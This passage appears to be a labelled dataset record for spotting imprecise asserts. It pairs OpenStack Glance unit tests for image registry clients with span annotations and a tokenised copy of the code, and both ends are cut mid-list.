"tree_", ",_", "\"", "hell", "o", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "wer", "ror_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "configure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link_", "=_", "find", "\\u", "link_", "(_", "hell", "o", "\\u", "proj_", "._", "index", "\\u", "html_", ",_", "\"", "Wor", "ld", " ", "intro", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "exists_", "(_", "link_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "install_", "(_", "tmpdir_", "._", "strp", "ath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link_", "=_", "find", "\\u", "link_", "(_", "tmpdir_", "._", "join_", "(_", "\"", "index", ".", "html", "\"_", ")_", "._", "strp", "ath_", ",_", "\"", "Wor", "ld", " ", "intro", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "os_", "._", "path_", "._", "isabs_", "(_", "link_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "tmpdir_", "._", "join_", "(_", "link_", ")_", "._", "check_", "(_", "file_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
rcbops/glance-buildpackage/glance/tests/unit/test_clients.py
[ { "content": " def test_get_image_details_with_maximum_size(self):\n \"\"\"Tests that a detailed call can be filtered by size_max\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 21,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(filters={'size_max': 20})\n\n self.assertEquals(len(images), 1)\n for image in images:\n self.assertTrue(image['size'] <= 20)", "metadata": "root.TestRegistryClient.test_get_image_details_with_maximum_size", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 770 }, { "content": " def test_get_image_details_with_minimum_size(self):\n \"\"\"Tests that a detailed call can be filtered by size_min\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(filters={'size_min': 20})\n\n self.assertEquals(len(images), 1)\n for image in images:\n self.assertTrue(image['size'] >= 20)", "metadata": "root.TestRegistryClient.test_get_image_details_with_minimum_size", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 789 }, { "content": " def test_get_image_details_with_changes_since(self):\n \"\"\"Tests that a detailed call can be filtered by changes-since\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(filters={'size_min': 20})\n self.assertEquals(len(images), 1)\n\n for image in images:\n self.assertTrue(image['size'] >= 20)", "metadata": "root.TestRegistryClient.test_get_image_details_with_changes_since", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 874 }, { "content": " def test_add_image_basic(self):\n \"\"\"Tests that we can add image metadata and returns the new id\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vmdk',\n 'container_format': 'ovf',\n 'size': 19,\n }\n\n new_image = self.client.add_image(fixture)\n\n # Test all other attributes set\n data = self.client.get_image(new_image['id'])\n\n for k, v in fixture.items():\n self.assertEquals(v, data[k])\n\n # Test status was updated properly\n self.assertTrue('status' in data.keys())\n self.assertEquals('active', data['status'])", "metadata": "root.TestRegistryClient.test_add_image_basic", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 977 }, { "content": " def test_add_image_with_properties(self):\n \"\"\"Tests that we can add image metadata with properties\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vmdk',\n 'container_format': 'ovf',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n 'properties': {'distro': 'Ubuntu 10.04 LTS'}}\n\n new_image = self.client.add_image(fixture)\n\n del fixture['location']\n for k, v in fixture.items():\n self.assertEquals(v, new_image[k])\n\n # Test status was updated properly\n self.assertTrue('status' in new_image.keys())\n self.assertEquals('active', new_image['status'])", "metadata": "root.TestRegistryClient.test_add_image_with_properties", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 998 }, { "content": " def test_add_image_basic(self):\n \"\"\"Tests that we can add image metadata and returns the new id\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n }\n new_image = self.client.add_image(fixture)\n new_image_id = new_image['id']\n\n # Test all other attributes set\n data = self.client.get_image_meta(new_image_id)\n\n del fixture['location']\n for k, v in fixture.items():\n self.assertEquals(v, data[k])\n\n # Test status was updated properly\n self.assertTrue('status' in data.keys())\n self.assertEquals('active', data['status'])", "metadata": "root.TestClient.test_add_image_basic", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1633 }, { "content": " def test_add_image_with_properties(self):\n \"\"\"Tests that we can add image metadata with properties\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n 'properties': {'distro': 'Ubuntu 10.04 LTS'},\n }\n new_image = self.client.add_image(fixture)\n new_image_id = new_image['id']\n\n # Test all other attributes set\n data = self.client.get_image_meta(new_image_id)\n\n del fixture['location']\n for k, v in fixture.items():\n self.assertEquals(v, data[k])\n\n # Test status was updated properly\n self.assertTrue('status' in data)\n self.assertEquals('active', data['status'])", "metadata": "root.TestClient.test_add_image_with_properties", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1656 }, { "content": " def test_add_image_with_iso_properties(self):\n \"\"\"Tests that we can add image metadata with ISO disk format\"\"\"\n fixture = {'name': 'fake public iso',\n 'is_public': True,\n 'disk_format': 'iso',\n 'container_format': 'bare',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n 'properties': {'install': 'Bindows Heaven'},\n }\n new_image = self.client.add_image(fixture)\n new_image_id = new_image['id']\n\n # Test all other attributes set\n data = self.client.get_image_meta(new_image_id)\n\n del fixture['location']\n for k, v in fixture.items():\n self.assertEquals(v, data[k])\n\n # Test status was updated properly\n self.assertTrue('status' in data)\n self.assertEquals('active', data['status'])", "metadata": "root.TestClient.test_add_image_with_iso_properties", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1680 } ]
[ { "span": "self.assertTrue(image['size'] <= 20)", "start_line": 787, "start_column": 12, "end_line": 787, "end_column": 48 }, { "span": "self.assertTrue(image['size'] >= 20)", "start_line": 806, "start_column": 12, "end_line": 806, "end_column": 48 }, { "span": "self.assertTrue(image['size'] >= 20)", "start_line": 891, "start_column": 12, "end_line": 891, "end_column": 48 }, { "span": "self.assertTrue('status' in data.keys())", "start_line": 995, "start_column": 8, "end_line": 995, "end_column": 48 }, { "span": "self.assertTrue('status' in new_image.keys())", "start_line": 1015, "start_column": 8, "end_line": 1015, "end_column": 53 }, { "span": "self.assertTrue('status' in data.keys())", "start_line": 1653, "start_column": 8, "end_line": 1653, "end_column": 48 }, { "span": "self.assertTrue('status' in data)", "start_line": 1677, "start_column": 8, "end_line": 1677, "end_column": 41 }, { "span": "self.assertTrue('status' in data)", "start_line": 1701, "start_column": 8, "end_line": 1701, "end_column": 41 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "maxim", "um", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "size", "\\u", "max", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "21_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "'", "size", "\\u", "max", "'_", ":_", "20_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "image_", "[_", "'", "size", "'_", "]_", "<=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "minim", "um", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "size", "\\u", "min", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "'", "size", "\\u", "min", "'_", ":_", "20_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "image_", "[_", "'", "size", "'_", "]_", ">=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "change", "s", "\\u", "since_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "change", "s", "-", "sinc", "e", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "'", "size", "\\u", "min", "'_", ":_", "20_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "image_", "[_", "'", "size", "'_", "]_", ">=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "basic_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "and", " ", "return", "s", " ", "the", " ", "new", " ", "id", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vmd", "k", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "data_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "data_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "with", " ", "proper", "ties", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vmd", "k", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "distr", "o", "'_", ":_", "'", "Ub", "unt", "u", " ", "10.", "04", " ", "LT", "S", "'_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "fixture_", "[_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "new", "\\u", "image_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "new", "\\u", "image_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "new", "\\u", "image_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "basic_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "and", " ", "return", "s", " ", "the", " ", "new", " ", "id", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "meta_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "fixture_", "[_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "data_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "data_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "with", " ", "proper", "ties", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "distr", "o", "'_", ":_", "'", "Ub", "unt", "u", " ", "10.", "04", " ", "LT", "S", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", 